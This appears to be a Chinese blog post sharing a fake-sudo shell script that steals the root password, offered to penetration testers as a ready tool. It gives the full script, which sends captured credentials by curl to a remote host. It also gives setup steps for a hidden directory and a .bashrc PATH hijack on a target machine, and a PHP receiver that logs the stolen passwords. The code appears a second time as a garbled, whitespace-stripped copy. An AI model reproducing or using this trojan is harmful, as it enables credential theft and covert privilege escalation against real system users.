前几天在GitHub上看到一大牛的sudo下窃取root用户密码的shell脚本,测试了下还非常管用。真可谓是居家旅行,杀人放火的必备工具啊,所以不敢私藏,在此分享给所有渗透狗~_~
废话就不说了,直接上脚本:
Shell
#!/bin/bash
/usr/bin/sudo -k
i=0
while [ $i != 3 ]; do
echo -n "[siii] password for $(whoami): "
read -s xd
echo
echo -e "$xd\n"| /usr/bin/sudo -S true 2>/dev/null
if /usr/bin/sudo -n true 2>/dev/null; then
break
else
echo "Sorry, try again."
fi
unset xd
let i=$i+1
done
if ! /usr/bin/sudo -n true 2>/dev/null; then
echo "sudo: 3 incorrect password attempts"
exit 1
fi
sed -i "/\.xd/d" ~/.bashrc
export PATH=$(echo $PATH| cut -d: -f2-)
echo -e "$xd\n" | /usr/bin/sudo -S "$@"
if [ "$(ping myserver.com -c1 2>/dev/null)" ]; then
curl -s myserver.com/example.php?user=$(whoami)\&pass=$xd 2>/dev/null
sleep 2 && ln -f -s /usr/bin/sudo ~/.xd/sudo &
rm $0
fi
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/bash
/usr/bin/sudo-k
i=0
while[$i!=3];do
echo-n"[siii] password for $(whoami): "
read-sxd
echo
echo-e"$xd\n"|/usr/bin/sudo-Strue2>/dev/null
if/usr/bin/sudo-ntrue2>/dev/null;then
break
else
echo"Sorry, try again."
fi
unsetxd
leti=$i+1
done
if!/usr/bin/sudo-ntrue2>/dev/null;then
echo"sudo: 3 incorrect password attempts"
exit1
fi
sed-i"/\.xd/d"~/.bashrc
exportPATH=$(echo$PATH|cut-d:-f2-)
echo-e"$xd\n"|/usr/bin/sudo-S"$@"
if["$(ping myserver.com -c1 2>/dev/null)"];then
curl-smyserver.com/example.php?user=$(whoami)\&pass=$xd2>/dev/null
sleep2&&ln-f-s/usr/bin/sudo~/.xd/sudo&
rm$0
fi
使用之前,需要在目标机子上做点小改动(当然,需要有一般用户权限):
Step1: 在目标系统上新建一个隐藏的目录:
mkdir ~/.xd
1
2
mkdir~/.xd
Step2: 在目标系统经常登录的用户的bashrc文件中添加环境变量:
echo "export PATH=~/.xd:\$PATH" >> ~/.bashrc
1
2
echo"export PATH=~/.xd:\$PATH">>~/.bashrc
Step3: 将github上的这个sudo脚本放到刚建立的隐藏目录下面,并给于执行权限:
chmod +x ~/.xd/sudo
1
chmod+x~/.xd/sudo
Step4: 根据脚本最后几行可知,该脚本会将获取到的root密码通过HTTP的GET方式发送到远程服务器上,所以写个简单的接收账户密码的php文件:
PHP
$user = $_GET['user'];
$pass = $_GET['pass'];
$f = fopen('./users_log.txt','a+');
fwrite($f, $user);
fwrite($f, "&");
fwrite($f, $pass);
fwrite($f, "\n");
fclose($f);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
$user=$_GET['user'];
$pass=$_GET['pass'];
$f=fopen('./users_log.txt','a+');
fwrite($f,$user);
fwrite($f,"&");
fwrite($f,$pass);
fwrite($f,"\n");
fclose($f);
?>
下面是我做的一个简单测试:
注意,在使用系统的sudo时上面的提示是“[sudo]”而不是“[siii]”,这里只是为了方便演示而已。下面的是在远程服务器上接收到的账户:
这个脚本还算是比较“聪明”的,在获取到root密码之后会删掉之前添加到bashrc中的环境变量,并且删除自身。正如作者所认为的,这只是个POC,聪明的人肯定会想到,在拿到root权限之后可以远程下载执行指令等等。。。这个,还是留着大伙儿回去边撸边思考吧。我只是大自然的搬运工!